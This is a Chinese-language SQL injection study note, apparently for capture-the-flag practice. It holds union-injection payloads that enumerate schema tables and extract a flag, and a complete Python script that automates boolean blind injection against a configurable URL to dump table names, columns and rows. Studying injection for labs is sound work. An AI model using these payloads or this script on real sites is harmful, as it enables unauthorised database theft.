1、注入原理
如果对于用户输入的数据没有做严格的审查或过滤,那么攻击者可以利用后端查询的SQL语句来构造语句从而实现非法攻击结果出现
一旦SQL注入成功,可能会导致数据篡改或删除等严重后果。
2、分类
1. 根据注入位置分类:GET注入、POST注入、Head头注入。
2. 根据结果反馈分类:有回显注入(显错注入)、无回显注入(盲注)
3. 根据数据类型分类:a. 字符型注入:当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。b. 数字型注入:当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。还有一些根据数据库不同进行分类等。
3、前置知识
-- 查询表中所有列
SELECT * FROM 表名;-- 查询指定列
SELECT 列1, 列2 FROM 表名;等于条件
SELECT * FROM users WHERE username = 'admin';查询排序
SELECT * FROM products ORDER BY price DESC;联合查询
SELECT 列1, 列2, ... FROM 表1;
UNION
SELECT 列1, 列2, ... FROM 表2;常见函数
VERSION(): 返回 MySQL 数据库版本,例如 `5.7.36`
DATABASE(): 返回当前正在使用的数据库名
USER(): 返回当前数据库用户(包含主机信息)
@@datadir: 返回 MySQL 数据文件存储路径
@@version_compile_os: 返回操作系统信息注释符号
SELECT * FROM users; -- 这是一条单行注释
SELECT name FROM products WHERE id = 1; # 这也是单行注释逻辑运算
-- 查询id小于4并且用户名为admin
select * from users where id < 4 and username='admin';
-- 查询id大于100 或者 用户名为admin
select * from users where id > 100 or username='admin';
4、例题实战
1、union联合注入1
![Pasted image 20250729105742.png]]
首先输入几个数字试试
![Pasted image 20250729105805.png]]
- 能行,判断是字符型还是数字型
1' and 1=1 #
报错
1 and 1=1 #
回显一开始的消息,说明是数字型 - 判断order
输入查询-1 order by 4 #
-1 order by 5 #
再次输入这个报错,说明尽管只显示了2个但是实际上有4个(这个要注意) - 寻找库名
输入-1 union select 1,2,3,4 #
![Pasted image 20250729110311.png]]
只显示了2和4,因此我们再次输入判断数据库名
-1 union select 1,database(),2,3 #
![Pasted image 20250729110440.png]]
发现数据库名为ctf - 寻找数据库里面表名
输入-1 union select 1,table_name,2,3 from information_schema.tables where table_schema='ctf' #
![Pasted image 20250729110637.png]]
flag和user,所以我们继续找flag - 用表名寻找表中字段名
-1 union select 1,column_name,2,3 from information_schema.columns where table_name='flag' and table_schema='ctf' #
![Pasted image 20250729110843.png]]
我们继续找flag
- 获取表中记录
-1 union select 1,flag,id,2 from flag #
![Pasted image 20250729111141.png]]
得到flag
2、union联合注入2
如果有时候没有在表中找到字段名,可能是因为把它隐藏了,我们使用group_concat()函数将它们显示出来
本题区别与上题不是很大,就是多了一个在执行已知表名不知道表中字段时我们需要采用group_concat()函数来将所有字段名显示出来
3、union联合注入3
5、布尔盲注
类似于pwn的盲打,需要一点点的搞出来,比较麻烦
1. 判断是否存在注入
2. 获取数据库长度
3. 逐字猜解数据库名
4. 猜解表名数量
5. 猜解某个表名长度
6. 逐字猜解表名
7. 猜解列名数量
8. 猜解某个列名长度
9. 逐字猜解列名
10. 判断数据数量
11. 猜解某条数据长度
12. 逐位猜解数据
利用回显结果是否正确来判断注入语句是否成功
因此思路与之前其实还是与SQL注入相同,而后主要就是用脚本跑了(实在是太麻烦了)
附上脚本:
import requests
import time
import string
from requests.exceptions import RequestException # 配置参数 - 直接在这里修改URL和其他参数
config = { "url": "xxx", # 直接修改目标URL "param_name": "xx", # 注入参数名 "max_len": 30, # 最大字符串长度 "extract_count": 5, # 提取数据行数 "success_indicator": "xxxx", # 判断条件字符串 "headers": { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" }, # 安全字符集,避免特殊字符破坏SQL语法 "charset": ''.join(c for c in string.printable if c not in ['\r', '\n', '\t', '%', '\\', '"', "'", ';', '#'])
} def send_payload(payload): """发送payload并根据响应中是否包含成功标识判断条件是否成立""" params = {config["param_name"]: payload} try: response = requests.get( config["url"], params=params, headers=config["headers"], timeout=10, allow_redirects=False ) # 判断响应中是否包含"产品存在" return config["success_indicator"] in response.text except RequestException as e: print(f"[!] 请求错误: {str(e)}") return False def binary_search_extract(sql_query, position): """使用二分查找优化字符提取,减少请求次数""" low = 32 # 空格的ASCII码 high = 126 # ~的ASCII码 found_char = None while low <= high: mid = (low + high) // 2 # 构造判断ASCII值大于等于mid的payload payload = f"1 AND IF(ASCII(SUBSTRING(({sql_query}),{position},1))>={mid},1,0)" if send_payload(payload): # 包含成功标识,说明ASCII值大于等于mid found_char = mid low = mid + 1 else: # 不包含成功标识,说明ASCII值小于mid high = mid - 1 if found_char and found_char >= 32 and found_char <= 126: return chr(found_char) return None def extract_string(sql_query, max_length=None): """提取字符串,使用二分查找优化""" if max_length is None: max_length = config["max_len"] result = "" print(f"[*] 开始提取: {sql_query}") for position in range(1, max_length + 1): char = binary_search_extract(sql_query, position) if char: result += char print(f" [+] 第 {position} 位: {char} (当前结果: {result})") else: # 没有找到字符,说明字符串结束 print(f" [*] 字符串提取完成,长度: {position - 1}") break return result def get_table_names(): print("\n========== 枚举所有表名 ==========") tables = [] index = 0 while True: index += 1 # 查询information_schema获取表名 subquery = f"SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT {index - 1},1" table_name = extract_string(subquery) if not table_name: break tables.append(table_name) print(f"[+] 发现表: {table_name}") # 添加延迟避免请求过于频繁 time.sleep(0.5) return tables def get_column_names(table): print(f"\n========== 表 `{table}` 的字段 ==========") columns = [] index = 0 while True: index += 1 # 查询指定表的字段名 subquery = f"SELECT column_name FROM information_schema.columns WHERE table_name='{table}' AND table_schema=database() LIMIT {index - 1},1" column_name = extract_string(subquery) if not column_name: break columns.append(column_name) print(f"[+] 发现字段: {column_name}") # 添加延迟避免请求过于频繁 time.sleep(0.5) return columns def get_column_data(table, column, row_limit=5): print(f"\n========== 表 `{table}` 字段 `{column}` 的前 {row_limit} 行数据 ==========") for i in range(row_limit): subquery = f"SELECT {column} FROM {table} LIMIT {i},1" value = extract_string(subquery) if value: print(f"[{i + 1}] {value}") else: print(f"[{i + 1}] (空或提取失败)") # 添加延迟避免请求过于频繁 time.sleep(0.5) # 主流程
if __name__ == "__main__": tables = get_table_names() if not tables: print("[-] 没有发现表。可能不存在盲注漏洞。") else: print("\n========== 所有表名 ==========") for i, t in enumerate(tables): print(f"{i + 1}. {t}") table = input("\n请输入要查看字段的表名:").strip() if table not in tables: print("[-] 表名无效。") else: columns = get_column_names(table) if not columns: print("[-] 表中没有发现字段。") else: print("\n========== 所有字段 ==========") for i, col in enumerate(columns): print(f"{i + 1}. {col}") column = input("\n请输入要提取数据的字段名:").strip() if column not in columns: print("[-] 字段名无效。") else: get_column_data(table, column, config["extract_count"])